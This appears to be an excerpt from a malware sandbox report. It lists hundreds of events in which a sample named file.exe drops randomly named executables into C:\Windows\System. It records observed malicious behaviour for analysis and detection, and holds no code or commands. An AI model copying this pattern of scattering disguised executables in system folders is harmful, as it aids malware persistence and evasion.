Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\iIwdGAS.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uNQcZEb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wibjUVa.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\iYYYydA.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NVxCwjX.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\TscCBWf.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VPuwqFY.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eLYbCEG.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HEPcUok.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xyokMuX.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\gCZFmUf.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DtVOaSb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ArNQyZf.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\izzcVgF.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eXUokzg.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YnfMwga.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\caYiRYR.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RgcKJVt.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VGaSwYr.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sOGcIfs.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uRBSbtU.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HuKkgJY.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FHjAcHx.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\vREuzRr.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WlVmTit.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VwIvzCk.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XAgYYqB.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UiAsnNy.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\QdDnaqt.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ftWkAMN.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PRQFErV.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NyhRMmW.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DTVvNoy.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fYMwhpS.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UQPgIol.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\snZBbmy.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\CoTJSDT.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mWAGJFM.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sPniyBl.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HUohYxb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tRGqWXW.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\chBMsUn.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tXVZMjj.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sGYPztO.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\dCnJkoQ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\GoSpvOG.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JCZRmvQ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\zzbooXY.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sJZigTD.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XWzPvUm.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\yXkrKHV.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bsgTRXG.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pMMnfcQ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\kPkYoOt.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZlvPlxy.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DBfMBcY.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jYFqRXp.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NrRaZIJ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NLJeLdM.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\IEswIyo.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\aBqatWR.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\kFAVWnk.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\EMuPVcI.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\gXwIlxx.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eIXgzbs.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fIqTNJz.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VgNRTsd.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\whRtinB.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\QZBRXHU.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\OVdNTki.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\nKUJunm.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PUqZmPS.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ukkpYme.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\IjDqKMU.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PaGFrFU.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rtBLYbw.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hMvDOJd.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XJEUdeq.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rKZvlov.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\KeLPRxW.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wnWUbPS.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HbWODob.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HNocQDn.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MLxwqET.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\gQbnwXn.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZXNyiNu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LPMtFlZ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AONeoTK.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FoekgWP.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\skgGGJN.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xVIixqx.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ckHJCFb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NuxBytj.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mXElbHo.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rwUXwnj.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wCJLXKb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\EZbURBQ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FgiIXgf.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\oCLXTVT.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pPLiGBV.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RtRmRJz.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\aFpkhGM.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rfpCYxf.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ucDGEkw.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SNcreuq.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\lVudyTV.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JGfFPYZ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xAzCYwU.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\IBWzTMA.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rDRaLhy.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\lQcYvMS.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NDapyRM.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AQSffhY.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SOFlTuM.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jqUGnrw.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BNgUfBr.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fhxlOMT.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NzANgdB.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jzfTIlb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uJEYoyF.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\gPTriDK.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PrFZfUv.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZCyEzte.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\QrBMIBp.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VsobEcA.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PLFTiIe.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PPOtBBY.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SAfbgcC.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\geBTNDq.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BtXtEfY.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NqPZXyD.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rQJmlSe.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\cLSDHvv.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UyqOZIb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\OgBLDNx.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\brplcms.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WvkREuJ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AbenojY.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hzIYZSD.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pzbELEW.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hyzwXgh.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bxBimDh.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\roZGxps.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PjowoJp.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xsirwHn.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WVsCsMZ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\kYjPKaN.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SUucMiy.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ORmCcsC.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HVhldsH.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VjXLpYb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZFvVqBc.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JqFVNbS.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VLekFWd.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\veVfAiw.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FUwHkXo.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mgbtojr.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\aFbtfKK.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\svRRwoZ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SYLAfii.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\KVgdAzq.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wsmNUVo.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\cBoEBlV.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\qmcblFN.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YHgRCCe.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mBbgLGb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HKdVaSy.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\IpqVIyY.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BwBweqn.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\otCfESI.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RCVCpIi.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sctmwAr.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\iSmvfWm.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XbARtow.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PdxLXDE.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\yolnOnG.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\OyxgWny.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LCScugy.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wPprRzW.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\lBrohsB.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pGmaKvE.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZPBkGsL.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mshbGSl.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UmvuxvA.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ghXRScL.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\qdErmhf.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tyXEsEa.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uBSPQKP.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XBXKJRi.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\GaSDvNs.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\TVNHEGY.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MCvhdFU.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PABSWXd.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FaabrKu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tWOQBIk.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LLELsGo.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PZXDYlu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mdMaqgD.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rYIlnZs.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wWwDsEl.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AOSuUmd.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\CWLRJYu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jmSIZKC.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hhEeZzN.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mZnsuql.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LNyWtrn.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\zJwJxgA.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UlGsoAn.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HjdahEF.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LFQLRaY.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FlmGZHf.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xneUGSK.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sXBohAC.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JdmbeCb.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mlhNNPN.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xZqqKxJ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rTrjeti.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\blOLvcj.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RlLCkUy.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\osHoaGO.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\aIuDozC.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pBTelAj.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\oUGjnOU.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AbYjZgc.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SMPCyPi.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UukRVui.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\IllMHst.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\GQclMdB.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\zijatif.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\azlLiBo.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\kZLhYQN.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\qbpDLYy.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\taxUqnx.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\lUMNxzw.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\dbbKTrK.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\IfltgVS.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AcGKpcm.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\nQEuFBq.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jKGWjaw.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bqhvfzT.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\lXopRHV.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BwBatgB.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RoWidmj.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\TUMoqsP.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bNbsYkg.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MxuxZiI.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XwqrvQH.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\KhBOMLK.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wpDLrrl.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PPiiELO.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wDtSEWJ.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\GaBvkzp.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JXSvsmS.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NegqmAo.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VXPpbtK.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\qCLtsFy.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wJAdaxF.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\irYOeCk.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pCGAIpP.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uppASzn.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NlRtobK.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PBaHEGS.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eguTSJX.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\Ijxkdlp.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LjDLXkB.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BBunKZg.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AhxTfFG.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\CyMUqDA.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\llYFjTu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PeQIxaU.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WZKsVAe.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RbsRWaP.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AeaVZHw.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mNvvKIT.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FnKCSUL.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NqJQDKP.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SjJDcPG.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\aFAPcbx.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HHhvFMA.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\lGdlAZU.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\zDfFqMy.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fuNSBKd.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ehBwKWj.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tDWCTSE.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JwCXhnD.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\zOjeJhq.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MpRFxmI.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mrLUdSp.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\EfeLtDa.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uEyemZA.exe	Jump to behavior
